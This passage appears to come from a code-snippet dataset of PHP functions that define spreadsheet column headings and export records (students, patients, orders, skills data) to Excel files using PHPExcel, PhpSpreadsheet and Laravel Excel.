0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "abstract function getheadings();", "public function headingRow(): int\n {\n return 1;\n }", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap 